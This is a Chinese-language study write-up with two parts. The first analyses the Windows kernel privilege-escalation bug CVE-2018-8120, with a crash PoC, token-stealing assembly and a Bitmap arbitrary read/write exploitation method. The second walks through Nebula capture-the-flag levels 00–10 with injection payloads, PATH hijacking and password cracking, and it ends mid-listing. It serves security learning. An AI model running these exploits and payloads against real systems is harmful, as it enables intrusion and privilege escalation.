- PART ONE :Windows本地內核提權
- PART TWO :Exploit-Exercises Nebula學習與實踐
- 前言
- Level00——尋找特權程序
- Level01——攻擊環境變量
- Level02——可執行任意文件漏洞
- level03——計划任務
- Level04——繞過限制獲得 token
- Level05——竊取機密文件
- Level06——破解 Linux登錄密碼
- Level07——Perl腳本可執行任意文件漏洞
- level08——TCP數據包分析
- level09——攻擊php代碼
- level10——訪問競態條件漏洞
- level11——任意文件可執行漏洞
- level12——攻擊Lua腳本
- Level13——再次竊取 token
- level14——破解加密程序
- Level15——動態鏈接庫劫持
- Level16——再次攻擊Perl腳本可執行任意文件漏洞
- Level17——Python的 pickle格式可執行腳本漏洞
- Level18——資源未釋放漏洞
- Level19——進程的突破
- 體會總結
- 參考資料
PART ONE :Windows本地內核提權
漏洞概述
在2018年5月,微軟官方公布並修復了4個win32k內核提權的漏洞,其中的CVE-2018-8120內核提權漏洞是存在於win32k內核組件中的一個空指針引用漏洞,可以通過空指針引用,對內核進行任意讀寫,進而執行任意代碼,以達到內核提權的目的。
漏洞原理
該漏洞的觸發點就是窗口站tagWINDOWSTATON對象的指針成員域spklList指向的可能是空地址,如果同時該窗口站關聯當前進程,那么調用系統服務函數NtUserSetImeInfoEx設置輸入法擴展信息時,會間接調用SetImeInfoEx函數訪問spklList指針指向的位於用戶進程地址空間的零頁內存。
如果當前進程的零頁內存未被映射(事實上零頁內存正常是不會被映射的),函數SetImeInfoEx的訪問操作將引發缺頁異常,導致系統BSOD;同樣,如果當前進程的零頁內存被提前映射成我們精心構造的數據,則有可能惡意利用,造成任意代碼執行的漏洞。
漏洞復現
windbg調試本地內核
說明:Windbg是Microsoft公司免費調試器調試集合中的GUI的調試器,支持Source和Assembly兩種模式的調試。Windbg不僅可以調試應用程序,還可以進行Kernel Debug。
該工具使得我們可以本地調試windows系統的內核,但是,本地調試內核模式不能使用執行命令、斷點命令和堆棧跟蹤命令等命令
1、使用管理員身份打開cmd,執行bcdedit /debug on
, 開啟調試模式
2、使用管理員權限打開windbg(一定是管理員權限,不然不起作用),然后依次選擇File->Kernel Debugging->Local->確定
3、經過上面的設置基本就可以進行相關本地內核調試
查看SSDT表和SSDTShadow表
在windows操作系統中,系統服務(系統內核函數)分為兩種:一種是常用的系統服務,實現在內核文件;另一種是與圖形顯示及用戶界面相關的系統服務,實現在win32k.sys文件中。
全部的系統服務在系統運行期間都儲存在系統的內存區,系統使用兩個系統服務地址表KiServiceTable和Win32pServiceTable管理這些系統服務,同時設置兩個系統服務描述表(SDT)管理系統服務地址表,這兩個系統服務描述表ServiceDescriptorTable(SSDT)
和 ServiceDescriptorTableShadow(SSDTShadow)
其中,前者只包含KiServiceTable表,后者包含KiServiceTable和Win32pServiceTable兩個表,而且SDDT是可以直接調用訪問的,SSDTShadow不可以直接調用訪問。
SDT對象的結構體如下:
typedef struct _KSYSTEM_SERVICE_TABLE
{
PULONG ServiceTableBase; // 系統服務地址表地址
PULONG ServiceCounterTableBase;
PULONG NumberOfService; // 服務函數的個數
ULONG ParamTableBase; // 該系統服務的參數表
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;
通過windbg本地內核調試查看相關系統服務描述表實際結構分布:
分析:圖中顯示的是SDDT表和SSDTShadow表中的結構,每個表中的兩行分別表示系統服務地址表KiServiceTable表和Win32pServiceTable表的相關數據信息。因為上面的是SSDT表,不包含Win32pServiceTable表,所以第一個表中第二行數據為空。
結合上面的結構體可以看出,KiServiceTable的地址是0x83cbfd9c
,包含0x191個系統服務;Win32pServiceTable的地址是0x92696000
,包含0x339個系統服務。
再查看系統服務地址表存儲具體的內容:
分析:可以看出系統服務地址表中存儲的都是四個字節的函數指針,這些指針指向的就是后面對應的系統服務函數
查看窗口站結構體信息
窗口站是和當前進程和會話(session)相關聯的一個內核對象,它包含剪貼板(clipboard)、原子表、一個或多個桌面(desktop)對象等。
通過windbg來查看窗口站對象在內核中的結構體實例:
分析:上圖就是窗口站tagWINDOWSTATION的結構體的定義,其中在偏移0x14
處的spklList指針指向關聯的鍵盤布局tagKL對象鏈表首節點
查看鍵盤布局的結構體定義
分析:鍵盤布局tagKL結構體中在偏移0x2c
處的piiex指針指向關聯的輸入法擴展信息結構體對象,這也是SetImeInfoEx函數內存拷貝的目標地址。
當用戶進程調用CreateWindowStation函數等相關函數創建新的窗口站時,最終會調用內核函數xxxCreateWindowStation執行窗口站的創建,但是在該函數執行期間,被創建的新窗口站實例的spklList指針並沒有被初始化,指向的是空地址。
分析SetImeInfoEx函數
說明: 函數SetImeInfoEx
是一個win32k組件中的內核函數,主要負責將輸入法擴展信息tagIMEINFOEX對象拷貝到目標鍵盤布局tagKL對象的結構體指針piiex指向的輸入法信息對象的緩沖區。
IDA加載win32k.sys組件並手動載入符號表
- 選擇
File-->loadfile-->pdbfile
,然后點擊彈出窗口的OK選項 - 在函數框中使用
Ctrl+F
查找SetImeInfoEx函數,並使用F5反編譯出函數的偽代碼
分析:從上面的偽代碼中可以看出,函數SetImeInfoEx首先從參數a1指向的窗口站對象中獲取spklList指針(a1是窗口站地址指針,偏移0x14就是spklList指針),也就是指向鍵盤布局鏈表tagKL首節點地址的指針;然后函數從首節點開始遍歷鍵盤布局對象鏈表,直到節點對象的pklNext成員指回到首節點對象為止,函數判斷每個被遍歷的節點對象的hkl成員是否與源輸入法擴展信息對象的hkl成員相等;接下來函數判斷目標鍵盤布局對象的piiex成員(偏移0x2c)是否為空,且成員變量 fLoadFlag(偏移0x48) 值是否為 FALSE,如果上述兩個條件成立,則把源輸入法擴展信息對象的數據拷貝到目標鍵盤布局對象的piiex成員中。
把這段偽代碼變得更易讀一下~
BOOL __stdcall SetImeInfoEx(tagWINDOWSTATION *winSta, tagIMEINFOEX *imeInfoEx)
{
[...]
if ( winSta )
{
pkl = winSta->spklList;
while ( pkl->hkl != imeInfoEx->hkl )
{
pkl = pkl->pklNext;
if ( pkl == winSta->spklList )
return 0;
}
piiex = pkl->piiex;
if ( !piiex )
return 0;
if ( !piiex->fLoadFlag )
qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
bReturn = 1;
}
return bReturn;
}
至此我們可以看出程序的漏洞:在遍歷鍵盤布局對象鏈表 spklList 的時候並沒有判斷 spklList 地址是否為 NULL,假設此時 spklList 為空的話,接下來對 spklList 訪問的時候將觸發訪問異常,導致系統 BSOD 的發生。
利用Poc驗證漏洞
從之前的分析中,我們知道觸發漏洞的條件是要將spklList指針指向空地址的窗口站關聯到進程中。
具體實現就是先通過接口函數CreateWindowStation創建一個窗口站,然后調用NtUserSetImeInfoEx函數關聯該窗口站和進程(NtUserSetImeInfoEx系統服務函數會調用SetImeInfoEx);因為NtUserSetImeInfoEx函數未導出,所以需要使用Malware Defender來hook得到序列號,再通過序列號計算出服務號
運行Malware Defender,選擇鈎子-->Win32k服務表,查看系統服務序列號
分析:NtUserSetImeInfoEx的系統服務號 = 0x1000+0x226(550的16進制) = 0x1226 ,其中 0x1000代表調用SSDTShadow中第二個表項中的系統服務函數(第一個表項的系統服務函數為0x0000)
使用windbg來查看SystemCallStub函數地址從而調用內核函數
Poc實現代碼:
#include <Windows.h>
#include <stdio.h>
__declspec(naked) void NtSetUserImeInfoEx(PVOID imeinfoex)
{
__asm {
mov eax, 0x1226 //將NtUserSetImeInfoEx函數的服務號傳入eax中
mov edx, 0x7ffe0300 // 將SystemCallStub函數地址傳入edx中
call dword ptr[edx] //調用SystemCallStub函數
ret 0x04
}
}
int main()
{
HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0); //使用CreateWindowStation函數創建一個窗口站
SetProcessWindowStation(hSta);
char ime[0x800];
NtSetUserImeInfoEx((PVOID)&ime); //調用NtUserSetImeInfoEx函數觸發漏洞,致使系統BSOD
return 0;
}
編譯運行,成功觸發漏洞,致使系統BSOD
漏洞利用
- 原理:內核提權的常見方法是將當前進程的EPROCESS對象指針成員域Token替換為系統進程的Token指針,這相關的shellcode並不難寫。但是所有進程的EPROCESS結構體都處於內核空間中,我們能控制的用戶進程屬於Ring3,並不能達到運行shellcode的要求,因此難點是需要使用Ring0權限去執行這段shellcode修改內核內存地址,這也就是我們利用CVE-2018-8120這個漏洞的原因。
分配零頁內存
- X86的Windows系統中,進程地址空間中從
0x00000000
到0x0000FFFF
的閉區間被稱為空指針賦值分區,也就是我們上面說的零頁內存,正常情況下未被映射,強行對其訪問則會出現漏洞Poc的情況,系統BOSD。 - 為了函數SetImeInfoEx能夠順利向下執行,我們需要提前映射零頁內存,這里我們利用ZwAllocateVirtualMemory函數對其進行映射,ZwAllocateVirtualMemory函數作用是在指定進程的虛擬空間中申請一塊內存,該塊內存默認以64kb大小對齊。以下是ZwAllocateVirtualMemory函數的函數原型:
NTSYSAPI NTSTATUS NTAPI ZwAllocateVirtualMemory (
IN HANDLE ProcessHandle,
IN OUT PVOID BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
分析:將參數BaseAdress設置為0時,並不能在零頁內存中分配空間,而是讓系統尋找第一個未使用的內存塊來分配使用。在AllocateType參數中有一個分配類型是MEM_TOP_DOWN,該類型表示內存分配從上向下分配內存。我們可以將參數BaseAddress指定為一個低地址同時指定分配內存的大小參數RegionSize的值大於這個地址值,如參數BaseAddress為1,參數RegionSize為8192,這樣也就能成功分配,地址范圍就是 0xFFFFE001(-8191)到 1把0地址包含在內了,此時再去嘗試向 NULL指針執行的地址寫數據,程序就不會異常了。在32位 Windows系統中,可用的虛擬地址空間共計為 2^32 字節(4 GB)。通常低地址的2GB用於用戶空間,高地址的2GB 用於系統內核空間,通過這種方式我們發現在0地址分配內存的同時,也會在高地址(內核空間)分配內存。
分配零頁內存,創建並設置窗口站
構造能夠獲取SYSTEM進程令牌的shellcode
每個進程都在內核中都會有且僅有一個EPROCESS結構,其中EPROCESS結構中的Token字段記錄着這個進程的Token結構的地址,進程的很多與安全相關的信息是記錄在這個TOKEN結構中的,所以如果我們想獲得SYSTEM權限,就需要將擁有SYSTEM權限進程的Token字段的值找到,並賦值給我們創建的程序進程中EPROCESS的Token字段。
第一步,找到擁有SYSTEM權限的進程的EPROCESS結構地址
在Ring0中,fs寄存器指向一個叫KPCR的數據結構,該結構體中偏移量為0x120的地方是一個類型為_KPRCB的成員PrcbData
結構體_KPRCB中偏移量為0x004的地方存放着指向當前線程的_KTHREAD
通過查看_KTHREAD結構體和EPROCESS組成,我們知道_KTHREAD.ApcState.Process指向的就是當前進程的EPROCESS,所以我們獲取當前進程EPROCESS的匯編代碼可以寫成
mov edx, 0x124;
mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
mov edx, 0x50;
mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
mov ecx, eax;// Copy current _EPROCESS structure
基於以上,我們已經明白如何獲得自身進程的EPROCESS結構了,進一步需要做的是獲得System進程的EPROCESS~
查看EPROCESS的ActiveProcessLinks成員,它是一個_LIST_ENTRY結構,在windows系統中,每創建一個進程系統內核就會為其創建一個EPROCESS,然后使EPROCESS.ActiveProcessLinks.Flink=上一個創建的進程的EPROCESS.ActiveProcessLinks.Flink的地址,而上一個創建進程的EPROCESS.ActiveProcessLinks.Blink=新創建進程的EPROCESS.ActiveProcessLinks.Flink的地址,構成了一個雙向鏈表。所以找到一個進程就可以通過Flink和Blink遍歷全部進程EPROCESS了,由於System進程是最先創建的進程之一,因此它必然在當前進程(我們編寫的這個程序進程)之前,我們可以循環訪問Flink,判斷其PID是否為4(EPROCESS的UniqueProcessId成員指向其所屬進程的PID)來判斷其是否為SYSTEM進程
第二步,將SYSTEM進程的Token字段賦值給當前進程
查找獲取HalDispatchTable表地址
- 我們需要shellcode有ring0的權限去執行,可以修改一個具有ring0權限的函數指針為shellcode指針即可實現ring0權限執行shellcode。
- 內核函數選擇hal!HaliQuerySystemInformation函數,因為有一個調用它的函數(NtQueryIntervalProfile函數)是一個未文檔化的函數,也就是一個不常用的函數這樣我們覆蓋它的函數指針后對於整個程序執行造成的影響會小一些,相對來說安全些。而且NtQueryIntervalProfile函數是在ntdll.dll中導出的未公開的系統調用,可以直接在Ring3調用
分析:在NtQueryIntervalProfile中調用KeQueryIntervalProfile函數
分析:從圖中可以看出KeQueryIntervalProfile函數調用一個在HalDispatchTable+0x4
處的指針,我們可以覆蓋該指針使其指向shellcode,那么當調用NtQueryIntervalProfile時shellcode也就間接的可以在內核層0運行
需要用到的是HalDispatchTable+0x4地址,那么也就是需要找到HalDispatchTable的地址即可,我們可利用另一個未文檔化的函數——NtQuerySystemInformation,此函數可幫助用戶進程查詢內核以獲取有關OS和硬件狀態的信息,這個函數沒有導入庫,我們需要使用GetModuleHandle和GetProcAddress在‘ntdll.dll‘的內存范圍內動態加載函數。
分析:
-
NT內核文件的名字會因為單處理器和多處理器以及不同位數的操作系統版本以及是否支持PAE(Physical Address Extension)而不同,所以需要編程獲取。
-
HalDispatchTable在內核中真正的地址需要使用加載模塊的基地址+HalDispatchTable在該模塊中的偏移來獲取的。我們通過NtQuerySystemInformation獲取了nt模塊的基址kernelimageBase,通過計算用戶空間中HalDispatchTable的地址-用戶空間中nt模塊的地址可以獲得偏移。
利用Bitmap任意內存讀寫
- 這是一種編寫Exp對任意內存進行讀寫的方法技巧,越來越多地被應用於Exp的編寫。簡單的來說,這種技巧就是利用系統函數
GetBitmapBits
和SetBitmapBits
可以對Bitmap內核對象中的pvScan0字段指向的內存地址進行讀寫操作,這樣就可以通過pvScan0字段實現對任意內存的讀寫操作。
1. 首先創建兩個Bitmap對象:gManger和個Worker;
創建一個Bitmap對象時,一個結構被附加到了進程PEB的GdiSharedHandleTable成員中, GdiSharedHandleTable是一個GDICELL結構體數組的指針 ,GDICELL結構的pKernelAddress成員指向BASEOBJECT(sizeof=0x10
)結構,BASEOBJECT結構后面的緊跟着SURFOBJ結構, SURFOBJ結構中偏移量為0x20處即為pvScan0字段
我們可以用以下方式找到Bitmap對象的內核地址
addr = PEB.GdiSharedHandleTable + (handle &0xffff) *sizeof(GDICELL) ;
通過如下代碼獲得gManger.pvScan0和gWork.pvScan0的地址
2. 利用CVE-2018-8120的任意內存寫入漏洞,將gManger對象的pvScan0值修改成gWorker對象的地址;
基本前文的漏洞分析,我們知道SetImeInfoEx函數中若想執行qmemcpy,需跳過如下所示的while循環
while ( pkl->hkl != imeInfoEx->hkl )
{
pkl = pkl->pklNext;
if ( pkl == winSta->spklList )
return 0;
}
因此需要設置pkl->hkl = imeInfoEx->hkl,就是在零頁地址位置偽造了一個和 tagIMEINFOEX 結構體 spklList 成員類型一樣的 tagKL 結構體,然后把它的 hkl 字段設置為 wpv 的地址,之后再把 wpv 的地址放在 NtUserSetImeInfoEx 函數的參數 ime_info_ex 的第一個成員里面;指定pkl->piiex等於gManger.pvScan0的地址,也就是指定qmemcpy目的地址,這樣執行qmemcpy之后,就可以把gWorker.pvScan0的值賦給gManger.pvScan0
注意:qmemcpy拷貝了0x15c個字節,勢必會影響gManger.pvScan0之后的內存,后面調用Gdi32的 GetBitmapBits/SetBitmapBits 這兩個函數就會不成功,因為這兩個函數操作pvScan0的方式和SURFOBJ結構的 lDelta、iBitmapFormat、iType、fjBitmap 還有SURFACE結構的flags字段相關的,為了避免這個問題,我們需要在構造的ime_info_ex中填上一些數值進行修復
3. gManger對象調用SetBitmapBits函數將gWorker對象的pvScan0的值覆蓋成HalDisptchTable+4的地址(HalDisptchTable表中對應偏移處存放着hal!HaliQuerySystemInformation() 函數指針);
4. gWorker調用GetBitmapBits函數獲取HalDispatchTable+4所指內存的值,也就是hal!HaliQuerySystemInformation() 函數指針,存儲起來;
5. gWork對象調用SetBitmapBits函數將HalDispatchTable+4處的函數指針覆蓋成shellcode函數指針;
6. 在用戶進程中調用系統API函數NtQuerySystemInformation,進而調用HalDisptchTable表中的hal!HaliQuerySystemInformation() 函數指針,也就是執行shellcode;
7. gWorker調用SetBitmapBits函數將HalDisptchTable+4的地址處的hal!HaliQuerySystemInformation() 函數指針還原,保證下面的運行不出錯;
Exp利用漏洞
打開cmd,進入Exp-CVE-2018-8120.exe所在的目錄並執行,引號內為想要執行的命令
相關名詞
Token
令牌的角色:訪問令牌主要負責描述進程或線程的安全上下文,包括關聯的用戶、組和特權。根據這些信息,Windows內核可以對進程請求的特權操作做出訪問控制決策。令牌通常是內核對象並且與特定的進程或線程相關聯。在用戶空間中,它們由句柄(用戶識別碼/用戶名稱)唯一標識。
進程令牌:進程令牌分為primary tokens (主令牌)和 impersonation tokens(模擬令牌)兩種,在windows中所有進程都有一個關聯的主令牌,其中規定了對應進程的特權,創建新進程時,子進程默認繼承父進程的主令牌。
線程令牌:Windows是一個多線程操作系統,一個進程至少擁有一個線程。默認情況下,線程將在與父進程相同的安全上下文中運行primary tokens。然而,Windows引入了impersonation tokens,它允許線程在給定不同的訪問令牌的情況下臨時模擬不同的安全上下文。此功能最常見的用途是使應用程序開發人員能夠允許用Windows內核來處理大部分的訪問控制。比如,當FTP服務器作為服務帳戶運行時,如果沒有模擬,服務器就必須將客戶端關聯的用戶名、組和文件、目錄的ACL(訪問控制表)進行對比后手動執行,模擬則允許這些工作在確保服務線程是在客戶端用戶帳戶的安全上下文中執行后交由Windows內核執行,這可以看做windows下類型UNIX系統中setuid()函數。
安全級別
Token可以有Anonymous 、Identify 、Impersonate 、Delegate四種不同的安全級別,其中Impersonate 和Delegate級別影響最大, Impersonate級別允許線程在本地系統上模擬令牌的安全上下文,但不允許使用該令牌訪問外部系統,而Delegate級別允許線程在任何系統上模擬令牌的安全上下文,因為它存儲相關的身份驗證憑證。
BSOD
藍屏是Windows中用於提示嚴重的系統報錯的一種方式,藍屏一旦出現,Windows系統便宣告終止,只有重新啟動才能恢復到桌面環境,所以藍屏又稱為藍屏終止(Blue Screen Of Death),簡稱BSOD
——《0day安全 軟件漏洞分析技術(第二版)》第21章 探索Ring0
參考資料
PART TWO :Exploit-Exercises Nebula學習與實踐
前言
Exploit-Exercises是一個Linux平台下漏洞挖掘、分析的練習平台,官方提供了三種不同級別的平台,Nebula、Protostar和Fusion,分別是用來學習基礎提權、溢出和高級攻擊技術。
如何使用Nebula:
-
Nebula最高權限的賬戶是nebula,密碼也是nebula,如果某一關涉及到修改系統配置,那么我們可以通過切換到nebula用戶來修改
-
每一Level都對應一個levelxx賬號,密碼與賬號名相同,在完成每一關的題目之前,需要用對應的賬號登錄系統,與該題目相關的內容存放在/home/flagxx中 的。比如:第一關賬號是level00,密碼level00,然后用這個賬號登錄到系統並進入/home/flag00,如果這關需要攻擊有漏洞的程序,那么相應的程序放在此目錄中
-
使用命令
su - levelxx
切換登錄賬號 -
每一關提權成功之后,需要執行/bin/getflag/,如果提權是成功的,會提示“You have successfully executed getflag on a target account”,否則提示“getflag is executing on a non-flag accont, this doesn't count”
Level00——尋找特權程序
題目
This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
解題思路:
1、根據題目提示,本關需要在系統中搜索一個設置SUID的程序,這個程序是以flag00身份運行的,因此使用find命令在根目錄下查找所有人和所有組都是flag00的文件
2、由於當前用戶是level00,在進一些沒有權限進入的目錄進行搜索的時候,是會出錯的,並且Linux標准輸入、標准輸出和錯誤分別對應文件描述符0、1和 2,所以用參數2>/dev/null
將錯誤輸出到/dev/null這個空白設備里
3、搜索完成后執行發現的程序
Level01——攻擊環境變量
題目:
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
源代碼
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
解題思路:
1、首先觀察該程序的執行效果,結果為輸出and now what?
2、分析程序源代碼,我們可以看到程序調用setresuid()設置調用進程的真實用戶ID,有效用戶ID和保存的set-user-ID,調用setresgid()設置真正的GID,有效的GID和保存的set-group-ID;但上面這些並不是重點,關鍵點在於 system("/usr/bin/env echo and now what?")
,程序使用system函數執行指定的shell命令,而此處存在的漏洞在於echo是由env定位找到;因為env用來執行當前環境變量下的命令或者顯示當前的環境變量,也就是說env會依次遍歷$PATH中的路徑,執行第一次找到的echo命令,所以我們只要修改$PATH,就可以欺騙env,繼而使得代碼中的system執行我們的命令。
3、由於/tmp目錄對任何用戶都有完整的權限,因此我們可以使用命令ln -s /bin/getflag /tmp/echo
讓/tmp/echo鏈接到/bin/getflag上
4、使用命令export PATH=/tmp:$PATH
修改環境變量,將tmp路徑放在前面,這樣env會首先在/tmp下找到echo並執行
Level02——可執行任意文件漏洞
題目:
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
源代碼
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
解題思路:
1、同理先觀察該程序的執行效果
2、分析源代碼,可看到buffer變量是經過asprintf拼接而成,而asprintf的第二個參數調用了getenv函數去獲得環境變量USER的值(USER里是當前登錄的用戶名),有了上一關的經驗,我們不難想到可以把USER變量替換成;/bin/getflag
,等於是在執行完echo語句后,緊接着就執行/bin/getflag了(執行多條命令用“;”隔開)
level03——計划任務
題目:
Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes.
解題思路:
1、通過查看crontab設置,可知它每隔2分鍾執行/home/flag03目錄下的writable.sh
2、查看writable.sh中的內容
3、這段代碼的含義是:每執行一次writable.sh,writable.sh就自動執行writable.d里的所有文件,之后再刪除這個腳本。通過ls -l
命令我們可以看到writable.d這個目錄任何人可讀可寫,所以只需將我們想進行的操作寫進writable.d里,等着它自動運行可以了
4、在writable.d的目錄下創建一個run腳本,使用echo語句向run中寫入內容,並賦予run腳本777權限(可讀可寫可執行)
5、等待兩分鍾,我們在/tmp目錄下發現5215zjj這個文件,說明writable.d里的run已經被自動執行
Level04——繞過限制獲得 token
題目
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it
根據提示,我們需要讀取token,但目前權限阻止我們讀取代碼,因此需要找到方法繞過限制
解題思路:
1、使用ls -l
命令查看token的權限為-rw-------
,所屬用戶是flag04,也就是除root權限外,只有flag04這個用戶可以對它進行讀取操作,同一目錄下另一個程序flag04卻屬於用戶組flag04,因此我們查看flag04的源代碼
flag04源代碼:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}
2、我們注意到程序的核心在於strstr函數,該函數從輸入的參數1中尋找“token”第一次出現的位置,返回指向第一次出現“token”位置的指針,如果沒有找到則返回null。因此,只要我們保證文件名里不包含“token”字符串,就可以繞過這個限制,繼續執行程序中的open操作。
3、參照前面關卡中用到的軟連接,將token連接到/tmp/level04下,然后執行程序flag04時后面的參數設為新建的/tmp/level04,讀出的token就是flag04這個賬號的密碼,切換登錄賬號並執行/bin/getflag
Level05——竊取機密文件
題目
Check the flag05 home directory. You are looking for weak directory permissions
根據提示我們需要找到一個弱權限的目錄,然后通過它來提權
解題思路:
1、使用ls -al
命令,列出目錄/home/flag05下所有文件權限
2、可以看到這里有兩個比較重要的文件,分別是.backup和.ssh,但是level05這個賬號對.ssh的權限不夠,所以我們先進入.backup文件查看;.backup里有個壓縮文件,我們解壓到/tmp中查看(因為沒有寫入權限,所以不可解壓到當前目錄)
3、解壓后發現里面的內容是ssh的備份,包含用戶的公私鑰;因此拷貝該ssh目錄到當前用戶下,使用ssh [-l login_name] [-p port] [user@]hostname
登錄flag05賬戶
4、登錄成功后,執行/bin/getflag
即可過關~
Level06——破解 Linux登錄密碼
題目
The flag06 account credentials came from a legacy unix system.
解題思路:
1、unix的賬戶系統中,用戶名和密碼密文都是放在/etc/passwd文件中的,而linux系統中的用戶名放在/etc/passwd,而密碼則在/etc/shadow中
2、讀取/etc/passwd里flag06賬戶的密碼密文
3、使用kali中自帶的破解工具john解密該段密文,得到密碼明文為hello
,登錄flag06賬號,通關成功~
Level07——Perl腳本可執行任意文件漏洞
題目
The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
解題思路:
1、flag06文件夾下index.cgi和thttpd.conf兩個文件,查看配置文件thttpd.conf看到顯示開放的端口號是7007
2、分析index.cgi文件源代碼
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));
這段代碼調用外部Ping命令 @output = `ping -c 3 $host 2>&1`;
去發送3個數據包給目的ip,ip是通過 $host = $_[0];
獲得,最后一行代碼ping(param("Host"));
決定參數Host首字母是大寫,最后程序會把ping的結果返回到客戶端的瀏覽器中;
這段Perl腳本的漏洞出現在代碼@output = `ping -c 3 $host 2>&1`;
中,此處出現了可執行任意文件漏洞,因為在Perl中“(Tab鍵上的那個鍵)”符號之間的內容是調用的外部命令。
3、我們可以利用這個漏洞在輸入主機參數的同時,用;
再接上我們想執行的提權指令,在執行該操作前,先使用wget http://localhost:7007/index.cgi?Host=127.0.0.1%3Bwhoami
確認cgi程序的權限
4、上圖我們可以看到顯示結果中的最后行多出個“flag07”,說明當前程序是以flag07身份執行的,接着我們便可以輸入wget http://localhost:7007/index.cgi?Host=127.0.0.1%3B/bin/getflag
命令通關啦~
level08——TCP數據包分析
題目
World readable files strike again. Check what that user was up to, and use it to log into flag08 account.
解題思路
1、使用level8賬戶登錄后,進入/home/flag08
文件夾下看到里面只有一個名為capture.pcap的數據包,顯而易見,我們需要使用wireshark對這個數據包進行分析。許多教程都是使用kali的sftp功能轉移數據包,而我因為配不好練習環境的ip地址,最終通過參考教程使用掛載u盤的方式轉移數據包
2、使用wireshark打開這個抓包文件,可以看到全部是TCP協議的數據包,任選一個數據包,右鍵->跟蹤流->TCP流
3、我們可以看出這個包是關於交互式登錄的,接着使用Hex dump方式看password字段
4、查詢ASCII碼表,可知知7f是del(刪除)的ASCII碼,od是回車符的ASCII碼,用戶輸入密碼的過程可理解為:輸入backdoor后刪除了三個字符,然后接着輸入00Rm8又刪除了一個字符,最后輸入ate並摁下回車鍵,因此正確的密碼應為backd00Rmate
5、使用用戶名flag08
,密碼backd00Rmate
登錄賬戶,執行/bin/getflag
通關成功
level09——攻擊php代碼
題目
There’s a C setuid wrapper for some vulnerable PHP code…
souse code
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
解題思路
1、首先了解下preg_replace()函數的功能
2、分析題目中的PHP代碼,可知這段程序讓我們傳入文件名作為參數,然后通過命令 $contents = file_get_contents($filename);
獲取文件內容,並將文件內容中的“.”替換成“dot”,“@”替換成“AT”,在tmp目錄下創建一個文件zjj,驗證一下以上分析
3、此段代碼的漏洞在於$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
,在第一個參數后面加上了/e,啟用/e模式,意味着第二個參數會被作為代碼執行,因此若第二個參數為提權指令的話,我們就可以過關
4、修改/tmp/zjj文件中的內容為[email "{${system(getflag)}}"]
並執行,通關成功~
level10——訪問競態條件漏洞
題目
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
源代碼
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
{
char *file;
char *host;
if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
host = argv[2];
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}
#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE
printf("Connected!\nSending file .. "); fflush(stdout);
ffd = open(file, O_RDONLY);
